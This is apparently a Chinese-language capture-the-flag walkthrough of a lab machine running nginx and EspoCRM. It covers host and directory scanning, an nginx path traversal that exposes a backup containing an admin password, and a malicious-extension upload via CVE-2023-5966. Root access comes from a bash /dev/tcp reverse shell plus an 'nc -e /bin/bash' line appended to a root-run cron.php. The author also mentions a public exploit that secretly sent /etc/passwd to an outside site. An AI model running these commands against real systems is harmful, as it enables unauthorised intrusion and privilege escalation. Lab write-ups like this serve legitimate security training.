kali:192.168.56.104

主机发现

arp-scan -l

# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:2a:a8:ba       PCS Systemtechnik GmbH
192.168.56.117  08:00:27:8a:f5:e6       PCS Systemtechnik GmbH

靶机:192.168.56.117

端口扫描

nmap 192.168.56.117

22/tcp open  ssh
80/tcp open  http

web界面就是一个登录界面

查了一下相关cve都需要登录才行

目录扫描

# gobuster dir -u http://192.168.56.117 -x html,txt,php,bak,zip --
...
/admin                (Status: 301) [Size: 162] [--> http://192.168.56.117/admin/]
/api                  (Status: 301) [Size: 162] [--> http://192.168.56.117/api/]
/client               (Status: 301) [Size: 162] [--> http://192.168.56.117/client/]
/index.php            (Status: 200) [Size: 2480]
/index.php            (Status: 200) [Size: 2480]
/install              (Status: 301) [Size: 162] [--> http://192.168.56.117/install/]
/portal               (Status: 301) [Size: 162] [--> http://192.168.56.117/portal/]
/robots.txt           (Status: 200) [Size: 26]
/robots.txt           (Status: 200) [Size: 26]

但是尝试发现都进不去

之类nginx有个目录穿越漏洞，该靶场的nginx版本没有修复这个漏洞

Nginx漏洞修复之目录穿越(目录遍历)漏洞复现及修复_目录遍历漏洞修复-CSDN博客

在admin后面加上../能穿越到上一级目录

但是用directory-list-2.3-medium.txt和common.txt  都不跑，换个字典

gobuster dir -u http://192.168.56.117/admin../ -x html,txt,php,bak,zip --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt

/admin                (Status: 301) [Size: 162] [--> http://192.168.56.117/admin../admin/]
/_oldsite             (Status: 301) [Size: 162] [--> http://192.168.56.117/admin../_oldsite/]

gobuster dir -u http://192.168.56.117/admin../_oldsite  -x html,txt,php,bak,zip --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt

/backup.zip           (Status: 200) [Size: 37975754]
/info                 (Status: 200) [Size: 540]

有个备份文件

在data/config.php文件发现账号密码

  'smtpUsername' => 'admin','smtpPassword' => '39Ue4kcVJ#YpaAV24CNmbWU',

登录成功就可以利用CVE了

web源码里面显示2022，所以我就找2022及以后的cve

看到了两个可以任意命令执行的,是通过上传拓展的zip实现

cve-2023-5966/Weaponized_Extension.zip at main · pedrojosenavasperez/cve-2023-5966 (github.com)

在github上面搜到这个exp，不过里面好像有个脏东西

它把/etc/passwd发到了一个恶意网站...好像跟RCE没什么关系

把他删了，然后上传到espo

反弹个shell

bash -c 'bash -i >& /dev/tcp/192.168.56.104/4567  0>&1'

www-data@espo:/home/mandie$ ls -al                                                 
ls -al
total 48
drwxr-xr-x  6 mandie mandie 4096 Mar 10 05:16 .
drwxr-xr-x  3 root   root   4096 Jan 24 19:01 ..
lrwxrwxrwx  1 root   root      9 Jan 26 19:39 .bash_history -> /dev/null
-rw-r--r--  1 mandie mandie  220 Dec  4 15:42 .bash_logout
-rw-r--r--  1 mandie mandie 3526 Dec  4 15:42 .bashrc
drwxr-xr-x  3 mandie mandie 4096 Dec  4 15:42 .local
drwxr-xr-x 12 mandie mandie 4096 Dec  4 15:42 .oh-my-zsh
-rw-r--r--  1 mandie mandie  807 Dec  4 15:42 .profile
-rw-r--r--  1 mandie mandie 3890 Dec  4 15:42 .zshrc
-rwxr-xr--  1 mandie mandie  493 Dec  4 15:42 copyPics
drwxr-xr-x  2 mandie mandie 4096 Mar 10 05:16 pictures
-rwx------  1 mandie mandie   33 Jan 24 19:01 user.txt
drwxr-xr-x  2 mandie mandie 4096 Mar 10 05:16 videos

mandie目录下有user.txt但是权限不够，而且有个奇怪的可执行文件copyPics

用pyps64看一下进程

2024/03/10 05:27:01 CMD: UID=0    PID=3074   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3073   | /usr/sbin/cron -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3075   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3076   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=1000 PID=3077   | /bin/sh -c /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=0    PID=3078   | /bin/sh -c cd /var/www/html; /usr/bin/php -f cron.php > /dev/null 2>&1 
2024/03/10 05:27:01 CMD: UID=1000 PID=3079   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=1000 PID=3080   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3081   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3082   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3083   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3084   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3085   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3087   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3088   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=1000 PID=3089   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3090   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3091   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3092   | /bin/bash /home/mandie/copyPics 

发现是个定时执行的任务，一分钟执行一次，并且UID是1000，是mandie的权限，如果在脚本里面添加一条反弹shell的指令，我们就能拿到mandie的权限，但是发现无法编辑这个文件。

再看进程，发现

root权限执行力 cron.php,并且cron.php可编辑
 

-rw-r--r--  1 www-data www-data  1531 Dec  4 15:42 cron.php

echo "system('nc -e /bin/bash 192.168.56.104 4567');"  >>cron.php

# nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.117] 36354
whoami
root

拿到root权限

好像直接越步了，无所谓，照样能拿到user和root